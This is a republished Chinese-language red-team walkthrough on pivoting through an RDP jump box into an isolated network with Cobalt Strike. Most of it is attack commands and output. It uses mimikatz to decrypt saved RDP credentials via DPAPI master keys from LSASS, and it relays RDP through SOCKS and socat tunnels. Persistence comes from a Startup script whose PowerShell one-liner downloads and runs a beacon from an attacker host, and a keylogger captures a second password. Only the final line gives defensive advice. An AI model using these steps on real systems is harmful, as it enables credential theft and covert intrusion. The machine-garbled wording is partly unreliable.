频道栏目
首页 > 安全 > 网络安全 > 正文

如何应用RDP跳转主机进入隔绝网络

2017-09-08 09:19:14      个评论      
收藏   我要投稿

一、前言

本文中我们引见了如何运用Cobalt Strike,经过RDP跳转主机(Jump Box)进入隔离或受维护网络中。

网络拓扑如下所示:

\

在这个拓扑环境中:

LAN为扁平化构造,由工作站及效劳器组成。

包括RDP跳转节点在内的某些效劳器无法外连到互联网。

工作站能够经过代理访问互联网。

RDP跳转主机是LAN中独一能够与“机密网络(Secret Network)”通讯的主机,通讯端口仅限于3389端口。

这两个网络处于不同的森林(forest)中,分别为rasta-lan.local以及secret-lan.local。

LAN的地址为10.0.0.0/16,机密网络地址为172.16.0.0/24。

在这种场景下,攻击者的任务是在攻击主机(Windows 10)上翻开远程桌面衔接应用,经过RDP直接登录到机密网络中的目的效劳器。

二、打破口

我们已拿下了名为rasta_mouse的一名用户,该用户为普通域用户(Domain Users)。我们能够查询目的效劳器,探测哪些用户/组能够运用RDP协议。

beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"

ComputerName : RDP01

AccountName : rasta-lan.local/Jump Box Users

IsDomain : True

IsGroup : True

SID : S-1-5-21-2294392343-2072776990-791666979-1106

运用如下命令查询哪些用户属于“Jump Box Users”组:

beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"

GroupDomain : rasta-lan.local

GroupName : Jump Box Users

MemberDomain : rasta-lan.local

MemberName : rastamouseadm

MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107

IsGroup : False

MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

从结果中可知,rastamouse有两个独立的账户,这标明我们需求获取rastamouse_adm的凭据才干继续攻击。下面我会引见两种可能卓有成效的办法。

三、Credential Manager & DPAPI

假如目的用户选择了保管RDP凭据,并且我们也具备SeDebugPrivilege权限,这是提取用户凭据最为理想的场景。

我们能够在凭据管理器(Credential Manager)界面中查看Windows凭据,如下所示:

\

当然我们也能够运用命令行来查询:

beacon> shell vaultcmd /listcreds:"Windows Credentials" /all

Credentials in vault: Windows Credentials

Credential schema: Windows Domain Password Credential Resource: Domain:target=TERMSRV/rdp01 Identity: LAN\rastamouseadm Hidden: No Roaming: No Property (schema element id,value): (100,2)

详细的凭据信息保管在用户目录中:

C:\Users\\AppData\Local\Microsoft\Credentials\*

能够运用如下命令停止查询:

beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force

Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials

Mode LastWriteTime Length Name

-a-hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0 -a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D

如今,我们能够详细剖析一下C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0这个文件:

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0

BLOB dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000030 - 48 szDescription : Local Credential Data

algCrypt : 00006603 - 26115 (CALG3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : be072ec0f54a6ceaffd09fe2275d72f9 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALGSHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : a3579f9e295013432807757d3bcdf82e dwDataLen : 000000d8 - 216 pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb dwSignLen : 00000014 - 20 pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

其中我们需求留意两个字段:pbData以及guidMasterKey。pbData是我们需求解密的字段,而guidMasterKey是解密时要用到的关键值。

LSASS中很有可能在缓存中保管了这个关键值,由于我们具有SeDebugPrivilege权限,我们能够提升权限,获取相应信息。

beacon> mimikatz !sekurlsa::dpapi

在一大堆输出结果中,我们找到了想要的GUID以及MasterKey值:

[00000000] * GUID : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992} * Time : 02/09/2017 13:37:51 * MasterKey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b * sha1(key) : 89f35906909d78c84ba64af38a2bd0d1d96a0726

假如我们在交互形式下运转mimikatz,程序会将这些值自动添加到dpapi缓存中,当我们准备解密凭据时,mimikatz就会运用这些值。但假如我们经过Cobalt Strike运转mimikatz,我们无法坚持在同一个会话中(或者曾经有人找到坚持会话的办法,但我还不晓得),因而,我们需求手动运用这个值。

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b

Decrypting Credential: * masterkey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b CREDENTIAL credFlags : 00000030 - 48 credSize : 000000d2 - 210 credUnk0 : 00000000 - 0

Type : 00000002 - 2 - domainpassword Flags : 00000000 - 0 LastWritten : 02/09/2017 12:37:44 unkFlagsOrSize : 00000030 - 48 Persist : 00000002 - 2 - localmachine AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:target=TERMSRV/rdp01 UnkData : (null) Comment : (null) TargetAlias : (null) UserName : LAN\rastamouseadm CredentialBlob : Sup3rAw3s0m3Passw0rd!

四、RDP01

如今,我们能够运用这些凭据经过RDP登录到跳转主机,提示一下,我们的目的是直接在攻击主机上完成这个攻击过程。因而,我们先要在当前Beacon上搭建一个SOCKS代理效劳。

beacon> socks 1337

[+] started SOCKS4a server on: 1337

经过SSH登录Teamserver,假如尚未装置socat以及proxychains,就装置这两个工具。

修正proxychains.conf配置文件,运用127.0.0.1地址以及1337端口。

经过proxychains运转socat:

proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389

这样一来,Teamserver会在3389端口上监听,一切访问该端口的流量会经过代理,被重定向10.0.0.100的3389端口。

留意:Beacon的SOCKS代理没有运用考证信息,因而请确保Teamserver的防火墙不会将相应端口暴露在整个互联网上。

如今,我们能够运用RDP协议访问Teamserver的IP地址,经过跳转后,最终登录的是跳转主机。

\

五、耐久化

如今我们曾经可以访问这台效劳器,我们需求设置耐久化机制,以便“真正的”rastamouseadm用户登录时,我们能拿到一个SMB Beacon。

简单的操作步骤如下所示:

创立一个stageless类型的PowerShell SMB Beacon载荷。

在Teamserver上的/smb途径托管这个payload。

在当前beacon中创立一个反弹型端口转发:

rportfwd 8080 178.62.56.134 80

运用如下内容创立启动脚本,脚本途径为C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat

powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('https://10.0.1.200:8080/smb'))"

注销RDP会话

备注:假如你能够在该效劳器上提升权限、运转或注入到SYSTEM进程中,那么你不用依赖RDP会话来运转Beacon。

当我们的目的用户登录时,我们能够在日志中看到命中信息:

09/02 14:19:45 visit from: 178.62.56.134 Request: GET /smb page Serves /opt/cobaltstrike/uploads/beacon.ps1 null

如今我们能够link到这个beacon。

beacon> link 10.0.0.100

[+] established link to child beacon: 10.0.0.100

\

六、跳转到机密网络

以跳转主机为据点,我们需求控制进入机密网络的详细办法。

其实我们能够用键盘记载器窃取所需的信息,如下所示:

beacon> keylogger 1816 x64

Start menu

remo

Remote Desktop Connection

172.16.0.10

Windows Security

SECRET\rasta_mouse[tab]Passw0rd!

接下来执行如下操作:

中止Beacon上的SOCKS代理效劳,同时也中止Teamserver上的proxychains、socat。

在跳转主机上开启新的SOCKS代理效劳(能够运用相同的端口)。

在Teamserver上,运转

proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389

命令。

与前面的操作一样,运用RDP访问Teamserver IP,最终我们就能够登录到机密网络中。

\

七、总结

简而言之,永远不要保管RDP凭据信息,一直在跳转主机上运用双要素认证,DPAPI并不能提供足够的防护。

上一篇:当心!微信上的这些东西可能正在“偷走”你的钱
下一篇:Struts2 S2-052(CVE-2017-9805)远程代码执行漏洞bug研究
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站